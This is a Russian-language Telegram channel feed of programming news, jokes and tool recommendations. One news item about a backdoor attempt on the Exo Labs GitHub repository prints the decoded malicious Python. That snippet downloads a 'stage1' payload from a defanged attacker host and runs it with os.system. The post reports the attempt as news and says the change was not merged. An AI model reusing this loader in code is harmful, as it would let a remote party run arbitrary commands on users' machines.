Прогер

У CSS теперь есть собственный логотип После многих лет использования неофициального символа, щита CSS3, в результате голосования на GitHub в репозитории CSS-Next был выбран новый официальный логотип для CSS Дизайн повторяет язык логотипов других веб-технологий, таких как JavaScript, TypeScript и WebAssembly ✅ Умный программист | #новость

Администраторов Telegram-каналов можно деанонимизировать с помощью кастомных эмодзи или стикеров OSINT-инструменты научились связывать UID эмодзи-пака с ID создателя. Зная ID аккаунта, деанон буквально выполняется в два клика ✅ Умный программист | #новость

Программиста осудили в США за нелегальную трансляцию эпизодов телешоу, защищённых авторским правом Суд присяжных в Лас-Вегасе признал виновным 43-летнего гражданина Кубы Йоани Вайлланта за помощь в управлении стриминговым сервисом, который транслировал эпизоды телешоу, защищённые авторским правом Гражданин Кубы работал программистом в потоковом сервисе Jetflicks, который позволял пользователям смотреть и иногда загружать защищённые авторским правом эпизоды телепередач Резюме Вайлланта демонстрирует, что у него был 15-летний опыт программирования, когда он начал работать в Jetflicks. За четыре с половиной месяца в компании разработчик внёс значительный вклад в работу сервиса, включая устранение проблем, которые влияли на автоматическую загрузку, обработку, синхронизацию, выгрузку и потоковую передачу защищённого копирайтами контента В один из моментов платформа похвасталась, что число эпизодов различных телешоу в сервисе превысило 183 тыс. — это больше, чем у Netflix, Hulu, Vudu, Amazon Prime, Disney+ и любого другого лицензированного стримингового сервиса Программист и его коллеги стримили сотни тысяч защищённых авторским правом эпизодов десяткам тысяч платных подписчиков в США. Фактически пользователи могли посмотреть ту или иную серию передачи на следующий день после её официального релиза Других обвиняемых по делу осудили за нарушения авторских прав, а некоторых — за отмывание денег. Суд вынесет приговоры Вайлланту и ещё пяти обвиняемым 3 и 4 февраля 2025 года ✅ Умный программист | #новость

Проекты GitHub подверглись атаке с вредоносными коммитами и пул-реквестами, чтобы внедрить бэкдоры Всё началось с атаки на репозиторий Exo Labs, стартапа в сфере искусственного интеллекта и машинного обучения. Соучредитель стартапа Алекс Чима предупредил о «невинно выглядящем» изменении кода, отправленном в репозиторий EXO на GitHub. Пул-реквест под названием «уточнение требования mlx для моделей deepseek» пытался изменить файл Python models.py в кодовой базе Exo, добавив в него последовательность чисел Это числа Unicode, каждое из которых представляет символ. Другими словами, открытый текстовый код Python был преобразован в эквивалентную ему форму с помощью простого метода, используемого при отправке изменений кода Эта последовательность символов, «105, 109, 112, 111, 114, 116,...», преобразуется в следующий фрагмент кода (URL-адрес удалили в целях безопасности):

import os
import urllib
import urllib.request
x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload")
y = x.read()
z = y.decode("utf8")
x.close()
os.system(z)

Довольно простой фрагмент кода пытается подключиться к evildojo.com и загрузить полезную нагрузку «stage1». Если бы изменение кода было одобрено и объединено с официальным репозиторием EXO, чего не произошло, любой желающий мог бы выполнить код, удалённо обслуживаемый URL-адресом в своей системе, и, следовательно, внедрить функциональный бэкдор ✅ Умный программист | #новость

Краткая история программных революций от Microsoft Пишет аноним: «Сначала были Windows API и DLL Hell. Революцией №1 было DDE — помните, как ссылки позволили нам создавать статусные строки, отражающие текущую цену акций Microsoft? Примерно тогда же Microsoft создала ресурс VERSION INFO, исключающий DLL Hell. Но другая группа в Microsoft нашла в DDE фатальный недостаток — его писали не они! Для решения этой проблемы они создали OLE (похожее на DDE, но другое), и я наивно вспоминаю докладчика на Microsoft-овской конференции, говорящего, что скоро Windows API перепишут как OLE API, и каждый элемент на экране будет ОСХ-ом. В OLE появились интерфейсы, исключающие DLL Hell. Помните болезнь с названием "по месту", при которой мы мечтали встроить все свои приложения в один (возможно, очень большой) документ Word? Где-то в то же время Microsoft уверовала в религию С++, возникла MFC решившая все наши проблемы еще раз Но OLE не собиралась сложа руки смотреть на это, поэтому оно заново родилось под именем COM, и мы внезапно поняли, что OLE (или это было DDE?) будет всегда — и даже включает тщательно разработанную систему версий компонентов, исключающую DLL Hell. В это время группа отступников внутри Microsoft обнаружила в MFC фатальный недостаток — его писали не они! Они немедленно исправили этот недочет, создав ATL, который как MFC, но другой, и попытались спрятать все замечательные вещи, которым так упорно старалась обучить нас группа COM. Это заставило группу COM (или это было OLE?) переименоваться в ActiveX и выпустить около тонны новых интерфейсов, а заодно возможность сделать весь код загружаемым через броузеры, прямо вместе с определяемыми пользователем вирусами (назло этим гадам из ATL!) Группа операционных систем громким криком, как забытый средний ребенок, потребовала внимания, сказав, что нам следует готовиться к Cairo, некой таинственной хреновине, которую никогда не могли даже толком описать, не то, что выпустить. К их чести, следует сказать, что они таки представили концепцию "System File Protection", исключающую DLL Hell. Но тут некая группа в Microsoft нашла фатальный недостаток в Java — её писали не они! Это было исправлено созданием то ли J, то ли Jole, а может, и ActiveJ, точно такого же как Java, но другого. Это было круто, но Sun засудило Microsoft по какому-то дряхлому закону. Это была явная попытка задушить право Microsoft выпускать такие же продукты, как у других, но другие Помните менеджера по J/Jole/ActiveJ, стучащего по столу туфлей и говорящего, что Microsoft никогда не бросит этот продукт? Глупец! Все это означало только одно — недостаток внимания к группе ActiveX (или это был COM?). Эта невероятно жизнерадостная толпа вернулась с COM+ и MTS наперевес (может, это стоило назвать ActiveX+?). Непонятно почему к MTS не приставили "COM" или "Active" или "X" или "+" — они меня просто потрясли этим! Они также грозились добавить + ко всем модным тогда выражениям. Примерно тогда же кое-кто начал вопить про "Windows DNA" (почему не DINA) и "Windows Washboard", и вопил некоторое время, но все это почило раньше, чем все поняли, что это было К этому моменту Microsoft уже несколько лет с нарастающей тревогой наблюдала за интернет. Недавно они пришли к пониманию, что у Интернет есть фатальный недостаток: ну, вы поняли. И это приводит нас к текущему моменту и технологии .NET (произносится как "doughnut (пончик по-нашему)", но по-другому), похожей на Интернет, но с большим количеством пресс-релизов. Главное, что нужно очень четко понимать — .NET исключает DLL Hell. В .NET входит новый язык, C#, (выясняется, что в Active++ Jspresso был фатальный недостаток, от которого он и помер). .NET включает виртуальную машину, которую будут использовать все языки (видимо, из-за фатальных недостатков в процессорах Интел). .NET включает единую систему защиты (есть все-таки фатальный недостаток в хранении паролей не на серверах Microsoft). Реально проще перечислить вещи, которых .NET не включает» Анонимно поделиться историей или оставить отзыв об IT-компании можно здесь ✅ Умный программист | #нампишут

Программист из Индии создал «клетку Фарадея», чтобы активировать AirPods Pro 2 для своей бабушки Он приобрёл AirPods Pro 2 для своей бабушки, надеясь использовать их в качестве слухового аппарата. Однако эта функция оказалась недоступной в Индии Чтобы обойти этот барьер, молодой человек соорудил «клетку Фарадея», чтобы «переместить» iPad в США, сымитировав калифорнийский Wi-Fi с помощью платы ESP32, и разместил всё это на микроволновой печи Через четыре часа iPad «поверил», что находится в США, и активировал режим слуха для наушников ✅ Умный программист | #новость

Bolt — это веб-агент для разработки, поддерживаемый ИИ, который позволяет вам создавать, запускать, редактировать и развертывать полностековые приложения непосредственно из вашего браузера, без необходимости установки локальной среды ✅ Умный программист | #полезно

googerteller — это инструмент, который издаёт звуковой сигнал каждый раз, когда сайт передаёт данные в Google или другие трекеры ✅ Умный программист | #полезно

Государственные компании РФ продолжают осуществлять закупки Windows и Microsoft Office Закупки операционных систем Windows и офисных пакетов Microsoft в России сократились почти на 55%. Тем не менее, в 2024 году госсектор приобрел американского программного обеспечения на сумму 24,1 млн рублей Госкомпании приобретают «остатки» Microsoft Office и версии Microsoft 365 за 2019 и 2021 годы Предположительно, некоторые российские организации «не могут отказаться от американского офисного пакета, так как некоторые программы не импортозамещены» Участники рынка предполагают, что создание аналогов иностранного программного обеспечения потребует 15 лет и дополнительных государственных инвестиций ✅ Умный программист | #новость

Капец, Трампа неделю как избрали, а на GitHub дефолтное название ветки вернули обратно к master ✅ Умный программист | #юмор

МВД РФ столкнулось с невозможностью замены серверов на отечественных процессорах «Эльбрус» До начала 2022 года МВД выделило 1,16 млрд рублей на 298 серверов и планировало закупку 80 серверов на 350 млн рублей, однако возникли трудности с их использованием Заместитель начальника департамента МВД Игорь Кашпур сообщил, что низкая отказоустойчивость оборудования затрудняет его оперативную замену. Проблемы с производительностью «Эльбрусов» также отмечают банки и госкорпорации Но, несмотря на неудовлетворённость, в мае 2023 года, МВД всё-таки провело ещё одну закупку 23 серверов на «Эльбрусах» на 86,3 млн рублей Сейчас разработки «встали на стоп», потому что нет кристаллов, которые производили для «Эльбрусов» на Тайване. Из-за санкций, крупная партия кристаллов так и не была передана российской компании ✅ Умный программист | #новость

Проект Debian Junior представил Live-сборку дистрибутива Debian GNU/Linux для детей до 12 лет Проект содержит оптимизированное для детей пользовательское окружение и обучающие приложения, включая GCompris (уроки для детей дошкольного и младшего школьного возраста), Stellarium (планетарий), kturtle (обучение программированию) и pySioGame (образовательные игры) ✅ Умный программист | #новость

Supermaven и Cursor объединились для конкуренции с GitHub Copilot За последние несколько лет появилось уже несколько таких стартапов, которые перестали полагаться на большие языковые модели от OpenAI, Anthropic и Google. Помимо LLM они пытаются создать обновлённый опыт разработки для повышения производительности Cursor — один из таких стартапов-редакторов кода на основе ИИ, который позволяет разработчикам писать код, просто используя клавишу «Tab». У Cursor уже более 40 тысяч клиентов, включая OpenAI. Недавно стартап привлёк $60 млн в рамках финансирования серии A Supermaven — ещё один стартап, пытающийся создать аналог Copilot, который будет быстрее, умнее и проще в использовании. Он известен своей технологией long-context и активно используется более чем 40 тысячами разработчиков. Недавно стартап привлёк $12 млн Теперь Supermaven присоединяется к команде Cursor, чтобы быстрее разрабатывать продукты. Последняя упомянула, что вскоре выпустит новую версию своей модели Tab, которая будет быстрой, контекстно-зависимой и интеллектуальной, что позволит работать с длинными последовательностями изменений. Плагины Supermaven также будут поддерживаться, хотя команда сосредоточится на работе с Cursor

VMware Fusion и Workstation стали бесплатными для всех пользователей Ранее эти программы для Windows, Linux и macOS были бесплатны только для личного использования, но теперь платная подписка отменена даже для коммерческого использования Компания Broadcom, которая год назад приобрела бизнес VMware, изменила стратегию, чтобы таким образом привлечь больше пользователей ✅ Умный программист | #новость

На YouTube обнаружили 7-летнего мальчика по имени Серёжа, который уже два года ведет канал, посвященный программированию на Python Судя по истории канала, Серёжа начал заниматься программированием, когда ему было всего пять лет! На его канале можно найти материалы по нейросетям на PyTorch, модели классификации и даже разработки игр Неужели это твой будущий тимлид? ✅ Умный программист | #новость

Вышла новая модель Qwen2.5-Coder 32B — открытая локальная модель для программирования небольшого размера, конкурирующая с GPT-4o На днях в сеть (похоже случайно) утекла новая версия модели для программирования от Alibaba, а сегодня ее уже выложили официально Эта модель, состоящая из 7 миллиардов параметров, показывает весьма достойные результаты на бенчмарке редактирования кода Aider. Она всего на несколько процентов отстает от GPT-4-1106-preview (модель от 6 ноября 2023), но функционирует полностью оффлайн! Находка для тех, кто хочет иметь под рукой мощную языковую модель без необходимости постоянного подключения к интернету Официальную версию можно найти здесь, где также представлены все новые модели. Утекшая версия доступна тут, но с появлением официальной, это уже не так интересно ✅ Умный программист | #новость

Wokwi — это онлайн-симулятор для работы с электронной техникой Вы можете создавать схемы на платах Arduino, ESP32 и Raspberry Pi Pico, писать код и тут же наблюдать, как всё функционирует, не имея реальных деталей. Виртуальные датчики, светодиоды, дисплеи — всё подключается прямо в браузере С помощью этого инструмента можно протестировать почти любую идею проекта до его реальной реализации ✅ Умный программист | #игра

По сети ходят скриншоты со списком критериев, по которым не возьмут в «Яндекс» В «Яндексе» рассказали, что скриншоты сделаны с внутреннего форума компании и опубликованные правила — «креатив интервьюеров одной из команд», поэтому они не являются официальными рекомендациями по найму Представители компании «Яндекс» также отрицают дискриминацию людей по возрасту ✅ Умный программист | #новость

public-apis — это самый большой список бесплатных общедоступных API ✅ Умный программист | #полезно

Разработчик создал автоматизированную шахматную доску, использующую Raspberry Pi для перемещения фигур с помощью шаговых двигателей и магнитов Игроки могут выбирать между разными режимами, такими как игра с искусственным интеллектом или участие в онлайн-соревнованиях. При этом шахматная доска физически будет воспроизводить их ходы ✅ Умный программист | #новость